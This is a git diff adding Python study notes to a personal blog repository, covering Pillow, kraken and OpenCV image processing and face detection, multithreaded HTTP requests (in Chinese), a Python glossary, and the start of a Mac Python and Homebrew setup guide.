we want to test to see +# if the pixel is the upper left corner of something that looks like the gap_box. If so, then +# we should insert a line to "break up" this box before sending to kraken + +def gap_check(img, location): + '''Checks the img in a given (x,y) location to see if it fits the description of a gap_box + :param img: A PIL.Image file + :param location: A tuple (x,y) which is a pixel location in that image + :return: True if that fits the definition of a gap_box, otherwise False + ''' + # Recall that we can get a pixel using the img.getpixel() function. It returns this value + # as a tuple of integers, one for each color channel. Our tools all work with binarized + # images (black and white), so we should just get one value. If the value is 0 it's a black + # pixel, if it's white then the value should be 255 + # + # We're going to assume that the image is in the correct mode already, e.g. it has been + # binarized. The algorithm to check our bounding box is fairly easy: we have a single location + # which is our start and then we want to check all the pixels to the right of that location + # up to gap_box[2] + for x in range(location[0], location[0]+gap_box[2]): + # the height is similar, so lets iterate a y variable to gap_box[3] + for y in range(location[1], location[1]+gap_box[3]): + # we want to check if the pixel is white, but only if we are still within the image + if x < img.width and y < img.height: + # if the pixel is white we don't do anything, if it's black, we just want to + # finish and return False + if img.getpixel((x,y)) != 255: + return False + # If we have managed to walk all through the gap_box without finding any non-white pixels + # then we can return true -- this is a gap! + return True + + +# once find a gap, draw a line in the middle of it. +def draw_sep(img,location): + '''Draws a line in img in the middle of the gap discovered at location. Note that + this doesn't draw the line in location, but draws it at the middle of a gap_box + starting at location. + :param img: A PIL.Image file + :param location: A tuple(x,y) which is a pixel location in the image + ''' + # First lets bring in all of our drawing code + from PIL import ImageDraw + drawing_object=ImageDraw.Draw(img) + # next, lets decide what the middle means in terms of coordinates in the image + x1=location[0]+int(gap_box[2]/2) + # and our x2 is just the same thing, since this is a one pixel vertical line + x2=x1 + # our starting y coordinate is just the y coordinate which was passed in, the top of the box + y1=location[1] + # but we want our final y coordinate to be the bottom of the box + y2=y1+gap_box[3] + drawing_object.rectangle((x1,y1,x2,y2), fill = 'black', outline ='black') + # and we don't have anything we need to return from this, because we modified the image + + + + +# iterate through each pixel in the image, check if there is a gap, then insert a line if there is. +def process_image(img): + '''Takes in an image of text and adds black vertical bars to break up columns + :param img: A PIL.Image file + :return: A modified PIL.Image file + ''' + # we'll start with a familiar iteration process + for x in range(img.width): + for y in range(img.height): + # check if there is a gap at this point + if (gap_check(img, (x,y))): + # then update image to one which has a separator drawn on it + draw_sep(img, (x,y)) + # and for good measure we'll return the image we modified + return img + +# Lets read in our test image and convert it through binarization +i=Image.open("readonly/two_col.png").convert("L") +i=process_image(i) +display(i) + + +# several ways we might try and control this. +# Lets see how this new image works when run through the kraken layout engine +display(show_boxes(i)) +``` + +--- + +## Comparing Image Data Structures + +1. reads an image and converts it into greyscale. + +```py +# import the open cv package cv2 +import cv2 as cv +# oad the floyd.jpg image +img = cv.imread('readonly/floyd.jpg') +# convert it to grayscale +gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) + +import inspect +inspect.getmro(type(gray)) +# [numpy/ndarray, object] +``` + +```py +gray +``` + +![Screen Shot 2020-08-26 at 12.02.59](https://i.imgur.com/iLcyVNx.png) + +```py +# The array is shown here as a list of lists, where the inner lists are filled with integers. +# The dtype=uint8 definition indicates that each of the items in an array is an 8 bit unsigned +# integer, which is very common for black and white images. +# this is a pixel by pixel definition of the image. +# +# The display package doesn't know what to do with this image. +# convert it into a PIL object to render it in the browser. +from PIL import Image +# "L" is just an array of luminance values in unsigned integers +image = Image.fromarray(gray, "L") +display(image) +``` + +![Screen Shot 2020-08-26 at 12.06.23](https://i.imgur.com/JjFicQA.png) + +```py +# Numpy arrays are multidimensional. +# For instance, define an array in a single dimension: +import numpy as np +single_dim = np.array([25, 50 , 25, 10, 10]) + +# In an image, this is analogous to a single row of 5 pixels each in grayscale. +# But actually, all imaging libraries tend to expect at least two dimensions, width and height +# if put the single_dim inside of another array, this would be a two dimensional array with element in the height direction, and five in the width direction +double_dim = np.array([single_dim]) + +double_dim +display(Image.fromarray(double_dim, "L")) +# ----- +# just a little line. Five pixels in a row to be exact +``` + +![Screen Shot 2020-08-26 at 12.10.37](https://i.imgur.com/S5GMR7N.png) + +```py +# numpy library attribute: shape: to see how many dimensions big an array is. +# The shape attribute returns a tuple that shows the height and width of the image +double_dim.shape # (1,5) +img.shape # (416, 416, 3) +# three dimensions! That's because it has a width, a height, and color depth. +``` + +```py +first_pixel=img[0][0] +first_pixel +``` + +![Screen Shot 2020-08-26 at 12.14.43](https://i.imgur.com/7cRhV6N.png) + +```py +print("Original image") +print(gray) + +print("New image") +# to represent that as a one dimensional image, just call reshape +# reshape takes the image as the first parameter, and a new shape as the second +image1d=np.reshape( gray, (1, gray.shape[0]*gray.shape[1]) ) +print(image1d) +``` + +![Screen Shot 2020-08-26 at 12.15.28](https://i.imgur.com/I79qQ4z.png) + +```py +# look for gaps in an image so +# that we could draw lines to feed into kraken + +import cv2 as cv +img = cv.imread('readonly/two_col.png') + +# convert it to grayscale using the cvtColor image +gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) + + +# [2:4] +# the sublist of numbers at position 2 through 4 inclusive +# 2:4,1:3] +# rows 2, and 3, and columns 1, and 2. + +gray[2:4,1:3] +``` + +![Screen Shot 2020-08-26 at 12.21.54](https://i.imgur.com/qJR8Rt9.png) + +```py +# all white. +# use this as a "window" and move it around image. + +# count_nonzero(), returns the number of entries in the matrix which are not zero. +np.count_nonzero(gray[2:4,1:3]) +# 4 +``` + +```py +# change pixels + +white_matrix=np.full((12,12),255, dtype=np.uint8) + +display(Image.fromarray(white_matrix,"L")) +white_matrix +``` + +![Screen Shot 2020-08-26 at 12.24.42](https://i.imgur.com/k8KKB7W.png) + +```py +# color a column to be black +white_matrix[:,6]=np.full((1,12),0, dtype=np.uint8) + +display(Image.fromarray(white_matrix,"L")) +white_matrix +``` + +![Screen Shot 2020-08-26 at 12.25.23](https://i.imgur.com/6vE9JeD.png) + +--- + +## OpenCV + +OpenCV comes with trained models for detecting faces, eyes, and smiles + +## detect face + +```py +import cv2 as cv +face_cascade = cv.CascadeClassifier('readonly/haarcascade_frontalface_default.xml') +eye_cascade = cv.CascadeClassifier('readonly/haarcascade_eye.xml') + +img = cv.imread('readonly/floyd.jpg') +# convert it to grayscale using the cvtColor image +gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) + + +# to use the face_cascade classifier +# use the detectMultiScale() function. +# returns a list of objects as rectangles. The first parameter is an ndarray of the image. +faces = face_cascade.detectMultiScale(gray) + +# print those faces out to the screen +faces +``` + +![Screen Shot 2020-08-26 at 12.30.03](https://i.imgur.com/DoMIHnX.png) + +```py +faces.tolist()[0] +``` + +![Screen Shot 2020-08-26 at 12.31.48](https://i.imgur.com/U8lCcYt.png) + +```py +# (x,y,w,h) +# upper left hand point for the image +# the width and height represent the bounding box. + + +from PIL import Image +from PIL import ImageDraw + +# create a PIL image object +pil_img=Image.fromarray(gray,mode="L") +drawing=ImageDraw.Draw(pil_img) + +# pull the rectangle out of the faces object +rec=faces.tolist()[0] + +# Now we just draw a rectangle around the bounds +drawing.rectangle(rec, outline="white") + +# And display +display(pil_img) +``` + +![Screen Shot 2020-08-26 at 12.33.37](https://i.imgur.com/4DbiF6N.png) + +```py +# OpenCV is return the coordinates as (x,y,w,h) +# PIL.ImageDraw is looking for (x1,y1,x2,y2). + +pil_img=Image.fromarray(gray,mode="L") +drawing=ImageDraw.Draw(pil_img) + +# And draw the new box +drawing.rectangle((rec[0],rec[1],rec[0]+rec[2],rec[1]+rec[3]), outline="white") +# And display +display(pil_img) +``` + +![Screen Shot 2020-08-26 at 12.36.39](https://i.imgur.com/0lEZI25.png) + +--- + +## second + +```py +import cv2 as cv + +img = cv.imread('readonly/msi_recruitment.gif') +display(Image.fromarray(img)) # error gif. + + +# open this in PIL and then save it as a png, then open that in open cv. +pil_img=Image.open('readonly/msi_recruitment.gif') +open_cv_version=pil_img.convert("L") # convert to greyscale for opencv, and get the bytestream +open_cv_version.save("msi_recruitment.png") # write that to a file + + +# open again +cv_img=cv.imread('msi_recruitment.png') + +# detect faces in that image +faces = face_cascade.detectMultiScale(cv_img) + +# Now, we still have our PIL color version in a gif +pil_img=Image.open('readonly/msi_recruitment.gif') +# Set our drawing context +drawing=ImageDraw.Draw(pil_img) + +# For each item in faces, lets surround it with a red box +for x,y,w,h in faces: + drawing.rectangle((x,y,x+w,y+h), outline="white") +display(pil_img) +``` + +![Screen Shot 2020-08-26 at 12.49.20](https://i.imgur.com/JTWy94p.png) + +```py +pil_img.mode +# "P" + +pil_img = Image.open('readonly/msi_recruitment.gif') +pil_img = pil_img.convert("RGB") +pil_img.mode +# "RBG" + +drawing=ImageDraw.Draw(pil_img) +for x,y,w,h in faces: + drawing.rectangle((x,y,x+w,y+h), outline="white") +display(pil_img) +``` + +![Screen Shot 2020-08-26 at 12.53.48](https://i.imgur.com/kNEf1pH.png) + +--- + +## improve + +```py +# There are a few ways we could try and improve this, and really, it requires a lot of +# experimentation to find good values for a given image. First, lets create a function +# which will plot rectangles for us over the image +def show_rects(faces): + # read gif and convert it + pil_img=Image.open('readonly/msi_recruitment.gif').convert("RGB") + drawing=ImageDraw.Draw(pil_img) + for x,y,w,h in faces: + drawing.rectangle((x,y,x+w,y+h), outline="white") + display(pil_img) + + + +cv_img_bin=cv.threshold(img, 120, 255, cv.THRESH_BINARY)[1] +# returns a list, we want the second value +# Now do the actual face detection +faces = face_cascade.detectMultiScale(cv_img_bin) +# Now lets see the results +show_rects(faces) +``` + +```py +faces = face_cascade.detectMultiScale(cv_img, 1.05) +show_rects(faces) + +faces = face_cascade.detectMultiScale(cv_img, 1.15) +show_rects(faces) + +faces = face_cascade.detectMultiScale(cv_img, 1.25) +show_rects(faces) +``` + +![Screen Shot 2020-08-26 at 12.58.57](https://i.imgur.com/otgbPYn.png) + +```py +# compare the speed +%timeit face_cascade.detectMultiScale(cv_img,1.05) # 117ms +%timeit face_cascade.detectMultiScale(cv_img,1.15) # 45.6ms +``` + +--- + +## More Jupyter Widgets + +```py +from ipywebrtc import CameraStream, ImageRecorder +help(CameraStream) +``` + +```python +# get a camera facing the user, can have the audio on or off. +camera = CameraStream.facing_user(audio=False) + +# imagerecorder: grab images from the camera stream. +image_recorder = ImageRecorder(stream=camera) + +# Now, the docs are a little unclear how to use this within Jupyter, but if we call the +# download() function it will actually store the results of the camera which is hooked up +# in image_recorder.image. Lets try it out + +# start capturing data +image_recorder.recording=True +# download the image +image_recorder.download() + + +type(image_recorder.image) +# ipywidgets.widgets.widget_media.Image + + + +import PIL.Image +import io + +# And now lets create a PIL image from the bytes +img = PIL.Image.open(io.BytesIO(image_recorder.image.value)) +# And render it to the screen +display(img) +``` + +![Screen Shot 2020-08-26 at 13.44.47](https://i.imgur.com/f8KtYc6.png) + +. diff --git a/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/img1.png b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/img1.png new file mode 100644 index 00000000000..9838c92491c Binary files /dev/null and b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/img1.png differ diff --git a/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/test.py b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/test.py new file mode 100644 index 00000000000..2df16e10ea4 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/test.py @@ -0,0 +1,9 @@ +from PIL import Image + +im = Image.open("./img1.png") +# Lets display the image inline +display(im) +# Lets now convert it to black and white and segment it up into lines with kraken +bounding_boxes = pageseg.segment(im.convert("1"))["boxes"] +# And lets print those lines to the screen +print(bounding_boxes) diff --git a/_posts/00CodeNote/language/Python/mmm.md b/_posts/00CodeNote/language/Python/mmm.md new file mode 100644 index 00000000000..4509389496a --- /dev/null +++ b/_posts/00CodeNote/language/Python/mmm.md @@ -0,0 +1,124 @@ + +### cc + +如何将多线程应用到网络爬虫当中 + +--- + +#### 1 网络爬虫基础 + +##### 1.1 HTML +- HTML, **Hypertext Markup Language** , 是开发网页和网页应用的标准语言之一。 +- HTML中, 文本由tags包围和分割, 如`

    , , `等 + +##### 1.2 HTTP请求/ HTTP Requests + +- **客户/浏览器** 是HTTP请求的发出者, **被访问的网站** 是HTTP请求的接收者, 并在一定条件下, 对客户发出HTTP的相应信息。 +- 请求的主要模式包括:`GET, POST, PUT, HEAD, DELET`等 + - 其中, GET和POST是最主要的方式。 + - GET就是 **单纯** 从服务器中 **拿** 一个数据, + - POST则是把一个数据 **添加至** 服务器的 **数据库** 中。 + +- 简单例子就是, **在金融的程序化交易中** , 如果我们想从交易所 **取得行情信息** , 那么需要发出 **GET** 类型的请求, 如果我们希望向交易所 **下单** , 那么需要发出 **POST** 类型的请求。 + +![pic](https://pic1.zhimg.com/v2-feba8e2ecbdb80511b9abb079199159c_b.jpg) + + +##### 1.3 HTTP的状态码/ Status Code + +主要分为5大类: + +| HTTP Status Code | 含义 | +| ------------------ | ------------------------------------------ | +| 1xx(100, 102, ...) | 服务器已经接受了HTTP请求, 并正在处理 | +| 2xx(200, 202, ...) | 服务器成功收到并处理了HTTP请求 | +| 3xx(300, 301, ...) | 用户需要额外的请求, 才能正确处理该HTTP请求 | +| 4xx(400, 404, ...) | 报错:用户的问题 | +| 5xx(500, 504, ...) | 报错:服务器的问题 | + +--- + +#### 2 Python的request模块 + +用request模块向Bing发出HTTP请求。 + +```py +import requests +url = "https://www.bing.com/?mkt=zh-CN" +res = requests.get(url) +print(res.status_code) +print(res.headers) +``` + +![pic](https://pic3.zhimg.com/v2-816bc569bf4400db3a791d9c77e60ac6_b.png) + +request模块: +- requests.get(url) 代表用户向Bing发送了一个 **GET** 请求 +- 返回的HTTP状态码是200, 说明HTTP请求成功 +- 返回的header里面有更加详细的信息, 将此Dict转换为Pandas的DataFrame可以更好的阅读: + +response的header中的信息: +![pic](https://pic2.zhimg.com/v2-34a267d4c13669034c7c483a75ea1051_b.jpg) + + +--- + +#### 3 使用多线程进行HTTP请求 + +![pic](https://pic2.zhimg.com/v2-da71a6940a3db4cf37c3e04b91a06049_b.jpg) + +- **每一个HTTP请求, 一般来讲, 是相互独立的。** +- 尝试用多线程来加快多个HTTP请求的速度。 + +通过继承之前提及的threading模块中的Thread类, 来编写符合需求的Class。 + +```py +import threading +import requests +import time + +class MyThread(threading.Thread): + def __init__(self, url): + super().__init__() + self.url = url + self.result = None + + def run(self): + res = requests.get(url=self.url) + self.result = f"{self.url}:{res.text}" +``` + +- 其中, **_run_** 这个方法是进行override。 + +使用线程的基本操作模式 +- 先基于所有的input来instantiate这个MyThread类 +- 接着依次对每一个实例进行 **_start_** 和 **_join_** 。 + +```py +if __name__ == "__main__": + urls = [ + 'http://httpstat.us/200', + 'http://httpstat.us/400', + 'http://httpstat.us/404', + 'http://httpstat.us/408', + 'http://httpstat.us/500', + 'http://httpstat.us/524' + ] + start = time.time() + threads = [MyThread(url) for url in urls] + + for thread in threads: + thread.start() + for thread in threads: + thread.join() + for thread in threads: + print(thread.result) + + print(f'Took {time.time() - start : .2f} seconds') + print('Done.') +``` + +运行结果如下: +![pic](https://pic1.zhimg.com/v2-0995b2cfd39aaf470dc9a97a78f9de74_b.jpg) + +- 其实将多线程用在网络爬虫中, 主要的操作模式是和其他方面的应用没有区别的, 依旧是先自定义一个Thread的类型, 再把需要process的函数(如果爬虫)应用到该class的run方法中来。 diff --git a/_posts/00CodeNote/language/Python/other/0.0.0.Glossary.md b/_posts/00CodeNote/language/Python/other/0.0.0.Glossary.md new file mode 100644 index 00000000000..7d4afa3823e --- /dev/null +++ b/_posts/00CodeNote/language/Python/other/0.0.0.Glossary.md @@ -0,0 +1,511 @@ + + +# Glossary + +`accumulator pattern` +- A pattern where the program initializes an `accumulator variable` and then changes it during each iteration, accumulating a final result. + +`activecode` +A unique interpreter environment that allows Python to be executed from within a web browser. + +`algorithm` +A step by step list of instructions that if followed exactly will solve the problem under consideration. + +`argument` +- A value provided to a function when the function is called. This value is assigned to the corresponding parameter in the function. +- The argument can be the result of an expression which may involve operators, operands and calls to other fruitful functions. + + + +`assignment token` +- `=` is Python’s assignment token, which should not be confused with the mathematical comparison operator using the same symbol. + +`attribute` +- One of the named data items that makes up an instance. + + + + +`block` +- A group of consecutive statements with the same indentation. + +`body` +- The block of statements in a `compound statement` that follows the `header`. +- The second part of a compound statement. +- The body consists of a sequence of statements all indented the same amount from the beginning of the header. The standard amount of indentation used within the Python community is 4 spaces. + +`boolean expression` +- An expression that is either true or false. + +`boolean value` +- There are exactly two boolean values: True and False. Boolean values result when a boolean expression is evaluated by the Python interepreter. They have type bool. + + +`branch` +- One of the possible paths of the flow of execution determined by conditional execution. + + +`bug` +An error in a program. + + + + +`byte code` +- An intermediate language between `source code` and `object code`. Many modern languages first compile source code into byte code and then interpret the byte code with a program called a virtual machine. + + +`calling stack` +- A sequence (stack) of frames, showing all the function calls that are in process but not yet complete. When one function’s code invokes another function call, there will be more than one frame on the stack. + +`class` +- A user-defined compound type. A class can also be thought of as a template for the objects that are instances of it. + + + +`compound statement` +- A statement that consists of two parts: + - `header`: begins with a keyword determining the statement type, and ends with a colon. + - `body`: containing one or more statements indented the same amount from the header. +- The syntax of a compound statement looks like this: + ```py + keyword expression: + statement + statement + ... + ``` + +`condition` +The boolean expression in a conditional statement that determines which branch is executed. +- `chained conditional` + - A conditional branch with more than two possible flows of execution. `if ... elif ... else statements`. +- `conditional statement` + - A statement that controls the flow of execution depending on some condition. keywords `if, elif, and else` are used for conditional statements. + +`constructor` +- Every class has a “factory”, called by the same name as the class, for making new instances. If the class has an initializer method, this method is used to get the attributes (i.e. the state) of the new object properly set up. + + +`class` +- see data type below + +`close()` +- When you are done with a file, you should close it. + +`codelens` +An interactive environment that allows the user to control the step by step execution of a Python program + +`comment` +Information in a program that is meant for other programmers (or anyone reading the source code) and `has no effect on the execution` of the program. + +`comparison operator` +- One of the operators that compares two values: ==, !=, >, <, >=, and <=. + +`compile` +To translate a program written in a high-level language into a low-level language all at once, in preparation for later execution. + +`Control Flow` +Also known as the `flow of execution`, the order in which a program executes. By default, the control flow is *sequential*. + +`data type` +A set of values. The type of a value determines how it can be used in expressions. So far, the types you have seen are integers (int), floating-point numbers (float), and strings (str). + + +`debugging` +The process of finding and removing any of the three kinds of programming errors: + - *syntax error*, + - *semantic error*, + - and *runtime error*. + +`decrement` +Decrease by 1. + +`deterministic` +A process that is repeatable and predictable. + + +`dictionary` +- A collection of `key-value pairs` that maps from keys to values. +- The `keys` can be any immutable type, and the `values` can be any type. + + +`docstring` +- If the first thing in a `function body` is a `string`, that is attached to the function as its `__doc__` attribute. + +`documentation` +A place where you can go to get detailed information about aspects of your programming language. + + + +`evaluate` +To simplify an expression by performing the operations in order to yield a single value. + +`expression` +A combination of `operators` and `operands` (variables and values) that represents a single result value. Expressions are evaluated to give that result. + + +`exception` +Another name for a runtime error. + +`executable` +- Another name for object code that is ready to be executed. + +`float` +- A Python data type which stores floating-point numbers. Floating-point numbers are stored internally in two parts: a base and an exponent. When printed in the standard format, they look like decimal numbers. Beware of rounding errors when you use floats, and remember that they are only approximate values. + +`flow of execution` +- The order in which statements are executed during a program run. + +--- + +`for loop traversal (for)` +- Traversing a string or a list means accessing each character in the string or item in the list, one at a time. +- `for iterator.variable in iterable: body statement` +- executes the body of the loop severous times with different values of ix each time. +- A variable or value used to select a member of an ordered collection, such as a character from a string, or an element from a list. +- The loop body contains the statements of the program that will be iterate through upon each loop. The loop body is always indented. + + +`formal language` +Any one of the languages that people have designed for specific purposes, such as representing mathematical ideas or computer programs; all programming languages are formal languages. + + +`function` +- A named sequence of statements that performs some useful operation. +- Functions may or may not take parameters and may or may not produce a result. + + +`function call` +- A statement that executes a function. +- t consists of the name of the function followed by a list of arguments enclosed in parentheses. + +`function composition` 混合物 +- Using the output from one function call as the input to another. + +`function definition` +- A statement that creates a new function, specifying its name, parameters, and the statements it executes. + +`fruitful function` +- A function that returns a value when it is called. + + +`global variable` +- A variable defined at the top level, not inside any function. + +`header line` +- The first part of a compound statement. A header line begins with a keyword and ends with a colon (:) + + + +`high-level language` +A programming language like Python that is designed to be easy for humans to read and write. + +`increment` +Both as a noun and as a verb, increment means to increase by 1. + +`index` +- A variable or value used to select a member of an ordered collection, such as a character from a string, or an element from a list. + +`initialization (of a variable)` +To initialize a variable is to give it an initial value. variables don’t exist until they are assigned values, they are initialized when they are created. In other programming languages this is not the case, and variables can be created without being initialized, in which case they have either default or garbage values. + +`initializer method` +- A special method in Python (`__init__`) that is invoked automatically to set a newly created object’s attributes to their initial (factory-default) state. + +`instance` +- An object whose type is of some `class`. +- The words instance and object are used interchangeably. + +`instance variable` +- A variable that stores a value associated with the instance. The instance variables together store the state of an instance. + +`instantiate` 例示 +- To create an instance of a class, and to run its initializer. + + + +`int` +A Python data type that holds positive and negative whole numbers. + +`integer division` +An operation that divides one integer by another and yields an integer. Integer division yields only the whole number of times that the numerator is divisible by the denominator and discards any remainder. + +`interpret` +To execute a program in a high-level language by translating it one line at a time. + +`key` +- A data item that is mapped to a value in a `dictionary`. `Keys` are used to look up `values` in a `dictionary`. + +`key-value pair` +- One of `the pairs of items` in a dictionary. Values are looked up in a dictionary by key. + + + +`keyword` +- A reserved word that is used by the compiler to parse program; you cannot use keywords like if, def, and while as variable names. + +`literal` +- A number or string that is written directly in a program. Sometimes these are also referred to as literal values, or just values, but be careful not to confuse a literal value as written in a program with an internal value maintained by the Python interpreter during execution of a program. + + +`lifetime` +- Variables and objects have lifetimes — they are created at some point during program execution, and will be destroyed at some time. +- In python, `objects` live as long as there is some variable pointing to it, or it is part of some other compound object, like a list or a dictionary. +- In python, `local variables` live only until the function finishes execution. + + +`local variable` +- A variable defined inside a function. A local variable can only be used inside its function. +- `Parameters` of a function are also a special kind of local variable. + + +`logical operators` +- “and”, “or” and “not” are logical operators used to evaluate expressions. Their semantic meaning is similar to their English meaning. + + + +`low-level language` +A programming language that is designed to be easy for a computer to execute; also called machine language or assembly language. + +`mapping type` +- a data type comprised of `a collection of keys and associated values`. +- Python’s only built-in mapping type is the `dictionary`. Dictionaries implement the associative array abstract data type. + +`method` +- A special kind of function that is invoked on objects of particular types of objects, using the syntax `.()` +- A function that is defined inside a class definition and is invoked on instances of that class. + + + + + +`module` +A file containing Python definitions and statements intended for use in other Python programs. The contents of a module are made available to the other program by using the import statement. + +`namespace` +- A naming system for making names unique, to avoid duplication and confusion. Within a namespace, no two names can be the same. + + +`natural language` +- Any one of the languages that people speak that evolved naturally. + + +`nesting` 嵌套 +- One program structure within another, such as a conditional statement inside a branch of another conditional statement. + +`None` +- A special Python value. One use in Python is that it is returned by functions that do not execute a return statement with a return argument. + + +`object` +- Also known as a `data object/value`. The fundamental things that programs are designed to manipulate (or that programmers ask to do things for them). +- A compound data type that is often used to model a thing or concept in the real world. It bundles together the data and the operations that are relevant for that kind of data. Instance and object are used interchangeably. + +`object-oriented programming` +- A powerful style of programming in which data and the operations that manipulate it are organized into classes and methods. + +`object-oriented language` +- A language that provides features, such as user-defined classes and inheritance, that facilitate object-oriented programming. + +`object code` +- The output of the compiler after it translates the program. + +`open()` +- You must open a file before you can read its contents. + +`operand` +- One of the values on which an operator operates. + +`operator` +- A special symbol that represents a simple computation like addition, multiplication, or string concatenation. + - `logical operator` + - One of the operators that combines `boolean expressions`: `and, or, and not`. + - `modulus operator` + - An operator, denoted with a percent sign ( %), that works on integers and yields the remainder when one number is divided by another. + +`packing` +- When multiple values are specified, separated by commas, they are packed into a tuple. + +`unpacking` +- When a tuple is assigned to a collection of variable names separated by commas, the tuple is unpacked and the separate values are assigned to each of the variables. + +`pair` +- A tuple with exactly two items. + +`parameter` +- A name used inside a function to refer to the value which was passed to it as an argument. + + +`parse` +- To examine a program and analyze the syntactic structure. + + + +`pattern` 样式 +- A sequence of statements, or a style of coding something that has general applicability in a number of different situations. +- Part of becoming a mature programmer is to learn and establish the patterns and algorithms that form your toolkit. + + + +`portability` +A property of a program that can run on more than one kind of computer. + +`print function` +A function used in a program or script that causes the Python interpreter to display a value on its output device. + +`problem solving` +The process of *formulating* a problem, *finding* a solution, and *expressing* the solution. + +`program` +A sequence of instructions that specifies to a computer actions and computations to be performed. + +`programming language` +A vocabulary and set of grammatical rules for instructing a computer or computing device to perform specific tasks. + +`prompt string` +Used during `interactive input` to provide the use with hints as to what type of value to enter. + + + +`Python shell` +An `interactive user interface` to the Python interpreter, and the user of a Python shell types commands at the prompt (>>>), and presses the return key to send these commands immediately to the interpreter for processing. To initiate the Python Shell, the user should open the terminal and type “python”. Once the user presses enter, the Python Shell appears and the user can interact with it. + +`range()` +- A function that produces a list of numbers. For example, range(5) [0, 1, 2, 3, 4]. + + +`random number` +A number that is generated in such a way as to exhibit statistical randomness. + +`random number generator` +A function that will provide you with random numbers, usually between 0 and 1. + +`range()` +- A function that produces a list of numbers. For example, range(5), produces a list of five numbers, starting with 0, [0, 1, 2, 3, 4]. + +`read()` --> `string` +- Will read the entire contents of a file as a `string`. This is often used in an assignment statement so that a variable can reference the contents of the file. + +`readline()` +- Will read a single line from the file, up to and including the first instance of the newline character. + +`readlines()` --> `list of strings` +- Will read the entire contents of a file into a `list` where each line of the file is a string and is an element in the list. + + +`reference diagram` +- A picture showing a `variable` with an arrow pointing to the `value (object`) that the variable refers to. See also state snapshot. + +`return value` +- The value provided as the result of a function call. + + + +`rules of precedence` +- The set of rules governing the order in which expressions involving multiple operators and operands are evaluated. + + +`runtime error` +- An error that `does not occur until the program has started to execute` but that prevents the program from continuing. + +`semantic error` +- An error in a program that makes it do something other than what the programmer intended. + +`semantics` 语义学 +The meaning of a program. + +`sequential flow` +- The execution of a program from top to bottom, one statement at a time + +`shell mode` +A mode of using Python where expressions can be typed and executed in the command prompt, and the results are shown immediately in the command terminal window. Shell mode is initiated by opening the terminal of your operating system and typing “python”. Press enter and the Python Shell will appear. This is in contrast to source code. Also see the entry under Python shell. + + +`side effect` +- Some lasting effect of a function call, other than its return value. +- Side effects include `print statements`, `changes to mutable objects`, and `changes to the values of global variables`. + + +`stack frame` +- A frame that keeps track of the values of local variables during a function execution, and where to return control when the function execution completes. + +`.sort()` +- A `method` that sorts a list in place, changing the contents of the list. It return None, not a new list. + +`sorted()` +- A function that returns a sorted list, without changing the original. + - reverse parameter + - If True, the sorting is done in reverse order. + - key parameter + - If a value is specified, it must be a function object that takes one parameter. The function will be called once for each item in the list that’s getting sorted. The return value will be used to decorate the item with a post-it note. Values on the post-it notes are used to determine the sort order of the items. + + + +`source code` +- The instructions in a program, stored in a file, in a `high-level language` before being compiled or interpreted. + +`standard library` +- A collection of modules that are part of the normal installation of Python. + +`state snapshot` +- A graphical representation of a set of variables and the values to which they refer, taken at a particular instant during the program’s execution. + +`statement` +- An instruction that the Python interpreter can execute. assignment statement, import statement, for statement... + +`str` +- A Python data type that holds a string of characters. + + + +`syntax` +- The structure of a program. + +`syntax error` +- An error in a program that makes it impossible to parse — and therefore impossible to interpret. + +`terminating condition` +- A condition which stops an iteration from continuing + + +`test case` +- An assertion about the state of the program at particular point in its execution, such as the type of a variable or of a value returned by a function. + - `return value test` + - A return value test invokes a function on a particular set of inputs and checks whether the return value is the correct one for those inputs. + - `side effect test` + - A side effect test invokes a function or method and then checks whether some object’s contents were suitably transformed by the end of the execution of the function or method. + + + +`token` +- One of the basic elements of the syntactic structure of a program, analogous to a word in a natural language. + +`traverse` +- To iterate through the elements of a collection, performing a similar operation on each. + +`type conversion function` +- A function that can convert a data value from one type to another. + +`tuple` +- A type of sequence, much like a list but immutable. +- A tuple is created by enclosing one or more values in parentheses, separated by commas. + +`unary selection` +- A selection statement in which there is `only an “if” statement` and the “else” statement is omitted entirely. In an unary selection, the statements are only executed if the condition evaluates to true, otherwise the program continues to the body following the if statement. + + +`value` +- A number or `string` (or other things to be named later) that can be stored in a variable or computed in an expression. +- The value that is associated with each key in a `dictionary`. + + + +`variable` +A name that refers to a value. + +`variable name` +A name given to a variable. Variable names in Python consist of a sequence of letters `(a..z, A..Z, and _)` and digits (0..9) that begins with a letter. In best programming practice, variable names should be chosen so that they describe their use in the program, making the program self documenting. + + +`write()` +- Will add characters to the end of a file that has been opened for writing. diff --git a/_posts/00CodeNote/language/Python/other/0.0.0.SetupPython.Mac.md b/_posts/00CodeNote/language/Python/other/0.0.0.SetupPython.Mac.md new file mode 100644 index 00000000000..e933531088d --- /dev/null +++ b/_posts/00CodeNote/language/Python/other/0.0.0.SetupPython.Mac.md @@ -0,0 +1,303 @@ +# run python on mac64 + +[toc] + + +# Xcode下搭建python开发环境 + +- 很多library还是使用Python2.7,所以需要在Mac里面同时装这两个版本 +- 正确安装好,并且切换预设版本,不在误用系统的Python。 + +```py +安装Xcode +# 安装完成后 安装 Xcode command line tool +xcode-select --install + +安装Homebrew +# 参考官网或者直接粘贴: +ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" + + +安装Python +# 首先 +$ python --version +Python 2.7.16 +# 这是Mac系统要使用的Python,不去动它。 + + +用homebrew来安装自己使用的Python。 +# 用homebrew搜索Python +brew search python +# 开始安装: +brew install python +# 查看安装的目录. python folder +open /usr/local/Cellar + + +设定路径$PATH (不和系统Python干扰) +# 什么是路径$PATH呢? +# 装Python的时候,输入了brew,系统就自动会知道要开始跑homebrew。系统到底怎么知道我们的brew在哪里?这就是$PATH的用途了! +$ echo $PATH +/opt/local/bin: +/opt/local/sbin: +/Library/Java/JavaVirtualMachines/jdk-9.0.1.jdk/Contents/Home/bin: +/usr/local/bin: +/usr/bin: +/bin: +/usr/sbin: +/sbin: +/usr/local/share/dotnet: +/opt/X11/bin:~/.dotnet/tools: 